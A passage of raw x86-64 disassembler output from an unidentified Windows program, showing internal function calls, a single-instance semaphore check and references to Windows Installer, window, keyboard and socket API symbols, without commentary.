pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400db0c0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
and rax, rax
je 0x14000ffad
push 0
pop rcx
call fcn.1400db260
mov r15, rax
and r15, r15
jne 0x14000fe59
mov rcx, qword [0x141ef5848]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400db330
add rsp, 0x20
pop rax
movabs rcx, 0x1401d7f00
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef5848]
pop rdx
call fcn.1400f2fb0
jmp 0x14000fdc0
push 0
pop rcx
call fcn.1400dab00
movabs rax, 0x1401d9d04
push rax
push qword [0x141ef5848]
pop rcx
pop rdx
call fcn.1400efcc0
mov qword [0x141ef58c8], rax
mov r15, qword [0x141ef58c8]
and r15, r15
jle 0x14000ffad
mov r15, qword [0x141ef58c8]
movabs rax, 0x1401d9d04
push rax
pop rcx
call fcn.1400efca0
add r15, rax
mov qword [0x141ef58c8], r15
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push qword [0x141ef58c8]
movabs rax, reloc.msi.dll_MsiGetActiveDatabase
push rax
push qword [0x141ef5848]
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400efd00
add rsp, 0x28
mov r15, rax
sub r15, qword [0x141ef58c8]
mov rax, r15
push rax
push qword [0x141ef58c8]
push qword [0x141ef5848]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400efe90
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400f0460
add rsp, 0x28
lea rcx, [0x141ef5858]
pop rdx
call fcn.1400f2fb0
mov rcx, qword [0x141ef5858]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef56a8]
pop rdx
call fcn.1400f2fb0
mov r15, qword [0x141ef5670]
and r15, r15
jg 0x14000ffc7
mov r15, qword [0x141ef53e0]
and r15, r15
jg 0x14000ffc7
jmp 0x14000ffd0
mov rax, 1
jmp 0x14000ffd3
xor rax, rax
and rax, rax
je 0x140010240
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c1624
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.1400d9984
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov r15, rax
and r15, r15
jle 0x1400101c7
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 2
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14001e86a
add rsp, 0x30
movabs rcx, 0x1401c1928
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400d9b58
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14001e86a
add rsp, 0x28
movabs rcx, 0x1401c1928
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401c1624
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400d9b8c
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
jmp 0x14001023e
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 0
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14001e86a
add rsp, 0x30
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140024690
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
jmp 0x140010240
push qword [0x141ef56a8]
movabs rcx, 0x1401c10c4
pop rdx
call fcn.1400f3090
or rax, rax
jne 0x140010269
push qword [0x141ef56a8]
pop rcx
call fcn.14002a65b
jmp 0x140010275
push qword [0x141ef59f0]
pop rcx
call fcn.14002a65b
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14001e86a
add rsp, 0x28
movabs rcx, 0x1401c1928
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.140069201
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov r15, qword [0x141ef5430]
and r15, r15
jle 0x14001039e
call fcn.1400827de
and rax, rax
je 0x14001039e
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef5720]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401cae68
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
push 0
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400d7938
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.1400a2b8c
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400d9bb0
add rsp, 0x28
call fcn.1400f31c0
push 1
push 0
push qword [0x141ef5958]
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 0x18], rdx
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.KERNEL32.dll_CreateSemaphoreW
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov qword [0x141ef5400], rax
mov r15, qword [0x141ef5400]
and r15, r15
je 0x140010495
call sub.KERNEL32.dll_GetLastError
mov r15, rax
cmp r15, 0xb7
jne 0x140010495
mov rax, 1
jmp 0x140010498
xor rax, rax
and rax, rax
je 0x1400104d2
push reloc.WS2_32.dll_recv
movabs rax, 0x1401c69a2
push rax
movabs rax, 0x1401c6054
push rax
pop rcx
pop rdx
pop r8
call fcn.140073198
push qword [0x141ef5400]
pop rcx
call sub.KERNEL32.dll_CloseHandle
jmp 0x140012219
call fcn.1400dd9b4
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 1
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
movabs rcx, 0x1401d06d8
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
mov rcx, qword [0x141ef5720]
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401ce144
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.14006fc30
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
call fcn.140070eb1
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push 0
push 1
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.140023b1e
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.14004afe5
add rsp, 0x28
lea rcx, [0x141ef5498]
pop rdx
call fcn.1400f2fb0
push 1
push 0x3c
pop rcx
pop rdx
call fcn.1400cc7d8
push 1
push 0x3b
pop rcx
pop rdx
call fcn.1400cc7d8
mov qword [0x141ef55c0], 0xffffffffffffffff
sub rsp, 8
movabs rax, 0x1401c10c4
push rax
push 0x78
push 0x190
movabs rax, 0x1401c10c4
push rax
push 0
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.14005cb81
add rsp, 0x30
push 0x49
pop rcx
call fcn.1400cc884
mov r15, rax
cmp r15, 1
jne 0x140010695
mov qword [0x141ef5410], 1
mov qword [0x141ef5550], 1
mov qword [0x141ef5740], 1
call fcn.1400d74e0
mov r15, rax
cmp r15, 0x6e
jl 0x1400106b8
mov r15, qword [0x141ef5410]
and r15, r15
jle 0x1400106b8
mov rax, 1
jmp 0x1400106bb
xor rax, rax
and rax, rax
je 0x1400107d5
mov r15, qword [0x141ef5740]
and r15, r15
jle 0x1400107d5
call fcn.140069074
movabs rax, 0x1401d7f6c
push rax
push 0
pop rcx
pop rdx
call fcn.1400ca00c
and rax, rax
je 0x14001070a
mov r15, qword [0x141ef5550]
and r15, r15
jle 0x14001070a
mov rax, 1
jmp 0x14001070d
xor rax, rax
and rax, rax
je 0x1400107d5
movabs rax, 0x1401d80a8
push rax
push 0
pop rcx
pop rdx
call fcn.1400ca094
mov qword [0x141ef55c8], rax
push qword [0x141f70aa0]
pop rcx
call fcn.1400f1ea8
lea rax, [0x141ef56f0]
mov rax, rax
push rax
push qword [0x141f70aa0]
pop rcx
pop rdx
call fcn.1400f1e30
and rax, rax
je 0x1400107b9
push qword [0x141ef56f0]
pop rcx
call fcn.1400d796c
and rax, rax
je 0x1400107b7
mov rax, 8
mov rax, rax
push rax
lea rax, [0x141ef5550]
mov rax, rax
push rax
mov rax, SafeArrayPutElement
mov rax, rax
push rax
sub rsp, 8
push qword [0x141ef56f0]
pop rcx
sub rsp, 0x20
call fcn.1400d797c
add rsp, 0x28
mov rax, rax
push rax
pop rcx
pop rdx
pop r8
pop r9
call qword [0x141ef55c8]
jmp 0x140010740
push qword [0x141f70aa0]
pop rcx
call fcn.1400f1e24
push 0
pop rcx
call fcn.1400c9ef8
call fcn.14005e7e5
mov r15, qword [0x141ef55b8]
and r15, r15
jne 0x140010812
push 0
push 0
pop rcx
pop rdx
call fcn.1400d799c
push 0
pop rcx
call fcn.1400d7aa4
push 0
pop rcx
call fcn.1400d797c
mov rax, rax
push rax
pop rcx
call sub.USER32.dll_SetForegroundWindow
push 0x1b
pop rcx
call sub.USER32.dll_GetKeyState
mov r15, rax
cmp r15, 1
jle 0x140010833
mov qword [0x141ef57f8], 1
jmp 0x14001083e
mov qword [0x141ef57f8], 0
push 2
pop rcx
call fcn.1400cc884
mov r15, rax
and r15, r15
jne 0x140010c25
push qword [0x141ef59c0]
pop qword [0x141ef56d0]
push 7
pop rcx
call fcn.1400cc8c0
mov rax, rax
push rax
pop rcx
call fcn.14003b96e
and rax, rax
je 0x1400108f9
push 1
push 7
pop rcx
pop rdx
call fcn.1400cc8e0
mov r15, rax
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
cmp r15, rax
jne 0x1400108f7
push qword [0x141ef56d0]
pop rcx
call fcn.1400158df
push qword [0x141ef55a0]
pop rcx
call fcn.1400e8a0c
and rax, rax
je 0x1400108e0
push qword [0x141ef55a0]
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push 7
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
push 0
lea rax, [0x140014866]
mov rax, rax
push rax
pop rcx
pop rdx
call fcn.140084c9c
jmp 0x140010941
push 1
push 7
pop rcx
pop rdx
call fcn.1400cc8e0
mov r15, rax
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
cmp r15, rax
je 0x140010941
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push 7
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
mov r15, qword [0x141ef5710]
and r15, r15
jne 0x140010a3d
push qword [0x141ef5568]
pop qword [0x141ef56d0]
push reloc.WS2_32.dll_ioctlsocket
pop rcx
call fcn.1400cc8c0
mov rax, rax
push rax
pop rcx
call fcn.14003b96e
and rax, rax
je 0x1400109f5
push 1
push reloc.WS2_32.dll_ioctlsocket
pop rcx
pop rdx
call fcn.1400cc8e0
mov r15, rax
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
cmp r15, rax
jne 0x1400109f3
push qword [0x141ef56d0]
pop rcx
call fcn.1400158df
push qword [0x141ef55a0]
pop rcx
call fcn.1400e8a0c
and rax, rax
je 0x1400109dc
push qword [0x141ef55a0]
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push reloc.WS2_32.dll_ioctlsocket
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
push 0
lea rax, [0x140014866]
mov rax, rax
push rax
pop rcx
pop rdx
call fcn.140084c9c
jmp 0x140010a3d
push 1
push reloc.WS2_32.dll_ioctlsocket
pop rcx
pop rdx
call fcn.1400cc8e0
mov r15, rax
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
cmp r15, rax
je 0x140010a3d
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push reloc.WS2_32.dll_ioctlsocket
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
push qword [0x141ef5408]
pop qword [0x141ef56d0]
push 9
pop rcx
call fcn.1400cc8c0
mov rax, rax
push rax
pop rcx
call fcn.14003b96e
and rax, rax
je 0x140010ae1
push 1
push 9
pop rcx
pop rdx
call fcn.1400cc8e0
mov r15, rax
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
cmp r15, rax
jne 0x140010adf
push qword [0x141ef56d0]
pop rcx
call fcn.1400158df
push qword [0x141ef55a0]
pop rcx
call fcn.1400e8a0c
and rax, rax
je 0x140010ac8
push qword [0x141ef55a0]
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push 9
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
push 0
lea rax, [0x140014866]
mov rax, rax
push rax
pop rcx
pop rdx
call fcn.140084c9c
jmp 0x140010b29
push 1
push 9
pop rcx
pop rdx
call fcn.1400cc8e0
mov r15, rax
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
cmp r15, rax
je 0x140010b29
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push 9
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
mov r15, qword [0x141ef56f8]
and r15, r15
jne 0x140010c25
push qword [0x141ef5708]
pop qword [0x141ef56d0]
push 8
pop rcx
call fcn.1400cc8c0
mov rax, rax
push rax
pop rcx
call fcn.14003b96e
and rax, rax
je 0x140010bdd
push 1
push 8
pop rcx
pop rdx
call fcn.1400cc8e0
mov r15, rax
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
cmp r15, rax
jne 0x140010bdb
push qword [0x141ef56d0]
pop rcx
call fcn.1400158df
push qword [0x141ef55a0]
pop rcx
call fcn.1400e8a0c
and rax, rax
je 0x140010bc4
push qword [0x141ef55a0]
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push 8
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
push 0
lea rax, [0x140014866]
mov rax, rax
push rax
pop rcx
pop rdx
call fcn.140084c9c
jmp 0x140010c25
push 1
push 8
pop rcx
pop rdx
call fcn.1400cc8e0
mov r15, rax
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
cmp r15, rax
je 0x140010c25
push qword [0x141ef56d0]
pop rcx
call fcn.1400e89ec
mov rax, rax
push rax
push 1
push 8
pop rcx
pop rdx
pop r8
call fcn.1400cc92c
call fcn.1400d7acc
mov qword [0x141ef5800], rax
cmp qword [0x141ef5800], 0
je 0x140011b1c
mov r15, qword [0x141ef5800]
cmp r15, 0x3336
jne 0x140010c69
call fcn.1400dc5e4
mov r15, rax
cmp r15, 0x309
jne 0x140010c69
mov rax, 1
jmp 0x140010c6c
xor rax, rax
and rax, rax
je 0x14001179a
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x4b
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x28
call fcn.1400f31c0
mov rcx, qword [0x141ef5420]
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.1400f31f0
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400f3090
or rax, rax
jne 0x140010d3f
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x4b
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x28
call fcn.1400f31c0
mov rcx, qword [0x141ef5560]
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.1400f31f0
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400f3090
or rax, rax
jne 0x140010d3f
jmp 0x140010d48
mov rax, 1
jmp 0x140010d4b
xor rax, rax
and rax, rax
je 0x140011172
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push qword [0x141ef5578]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x56
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efcc0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov r15, rax
and r15, r15
jle 0x140010df3
push 2
pop rcx
call fcn.1400cc884
mov r15, rax
and r15, r15
jne 0x140010df3
mov rax, 1
jmp 0x140010df6
xor rax, rax
and rax, rax
je 0x140011172
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x4a
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x28
lea rcx, [0x141ef59d8]
pop rdx
call fcn.1400f2fb0
push qword [0x141ef6098]
pop rcx
call fcn.1400e9c0c
mov rcx, qword [0x141ef6098]
call fcn.1400e9c34
mov rcx, qword [0x141ef6098]
call fcn.1400e9c48
or rax, rax
je 0x140011172
mov rbp, qword [0x141ef60a0]
push qword [rbp + 0x10]
mov rcx, qword [0x141ef59d8]
pop rdx
call fcn.1400f3090
or rax, rax
je 0x14001116d
mov rbp, qword [0x141ef60a0]
push qword [rbp + 0x40]
movabs rcx, 0x1401c10c4
pop rdx
call fcn.1400f3090
or rax, rax
je 0x140010fd9
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef5578]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401ca290
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
push 0x56
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cca10
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push 0x48
pop rcx
call fcn.1400f1500
mov qword [0x141ef57a0], rax
mov rbp, qword [0x141ef60a0]
mov rcx, qword [rbp + 0x10]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
mov rbp, qword [0x141ef57a0]
lea rcx, [rbp]
pop rdx
call fcn.1400f2fb0
mov rbp, qword [0x141ef57a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
mov rbp, qword [0x141ef57a0]
mov dword [rbp + 0x20], reloc.WS2_32.dll_recv
mov rbp, qword [0x141ef57a0]
mov dword [rbp + 0x24], 0
push qword [0x141ef57a0]
lea rax, [0x14001a7fa]
mov rax, rax
push rax
pop rcx
pop rdx
call fcn.140084c9c
jmp 0x14001116b
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x56
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x28
call fcn.1400f31c0
mov rcx, qword [0x141ef5578]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401c1414
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
mov rbp, qword [0x141ef60a0]
mov rcx, qword [rbp + 0x40]
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401c252e
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
pop rcx
sub rsp, 8
call fcn.1400f31f0
add rsp, 8
mov rcx, rax
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.1400f31f0
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400f3090
or rax, rax
jne 0x14001116b
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef5578]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c1414
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
mov rbp, qword [0x141ef60a0]
mov rcx, qword [rbp + 0x40]
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c252e
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
push 0x56
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cca10
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
jmp 0x140011172
jmp 0x140010e5c
push 2
pop rcx
call fcn.1400cc884
mov r15, rax
cmp r15, 2
jne 0x14001179a
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push IsNetDrive
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x28
lea rcx, [0x141ef5900]
pop rdx
call fcn.1400f2fb0
push qword [0x141ef5900]
movabs rcx, 0x1401c10c4
pop rdx
call fcn.1400f3090
or rax, rax
jne 0x14001179a
push qword [0x141ef5900]
mov rcx, qword [0x141ef5588]
pop rdx
call fcn.1400f3090
or rax, rax
je 0x140011239
movabs rax, 0x1401c10c4
push rax
push reloc.SHELL32.dll_IsNetDrive
pop rcx
pop rdx
call fcn.1400cca10
movabs rax, 0x1401c10c4
push rax
push gethostname
pop rcx
pop rdx
call fcn.1400cca10
jmp 0x14001179a
push qword [0x141ef5900]
mov rcx, qword [0x141ef5650]
pop rdx
call fcn.1400f3090
or rax, rax
je 0x140011284
movabs rax, 0x1401c10c4
push rax
push reloc.SHELL32.dll_IsNetDrive
pop rcx
pop rdx
call fcn.1400cca10
movabs rax, 0x1401c10c4
push rax
push gethostname
pop rcx
pop rdx
call fcn.1400cca10
jmp 0x14001179a
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push reloc.msi.dll_MsiGetPropertyW
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400cc978
add rsp, 0x28
call fcn.1400f31c0
mov rcx, qword [0x141ef5600]
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.1400f31f0
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400f3090
or rax, rax
je 0x1400115d2
push qword [0x141ef6098]
pop rcx
call fcn.1400e9c0c
mov rcx, qword [0x141ef6098]
call fcn.1400e9c34
mov rcx, qword [0x141ef6098]
call fcn.1400e9c48
or rax, rax
je 0x1400115cd
mov rbp, qword [0x141ef60a0]
push qword [rbp + 0x10]
mov rcx, qword [0x141ef5900]
pop rdx
call fcn.1400f3090
or rax, rax
je 0x1400115c8
mov rbp, qword [0x141ef60a0]
push qword [rbp + 0x40]
movabs rcx, 0x1401c10c4
pop rdx
call fcn.1400f3090
or rax, rax
je 0x14001140e
movabs rax, 0x1401c3d34
push rax
push reloc.SHELL32.dll_IsNetDrive
pop rcx
pop rdx
call fcn.1400cca10
push 0x48
pop rcx
call fcn.1400f1500
mov qword [0x141ef57a0], rax
mov rbp, qword [0x141ef60a0]
mov rcx, qword [rbp + 0x10]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
mov rbp, qword [0x141ef57a0]
lea rcx, [rbp]
pop rdx
call fcn.1400f2fb0
mov rbp, qword [0x141ef57a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
mov rbp, qword [0x141ef57a0]
mov dword [rbp + 0x20], reloc.WS2_32.dll_recv
mov rbp, qword [0x141ef57a0]
mov dword [rbp + 0x24], 2
push qword [0x141ef57a0]
lea rax, [0x14001a7fa]
mov rax, rax
push rax
pop rcx
pop rdx
call fcn.140084c9c
jmp 0x14001148c
push rcx
sub rsp, 0x28
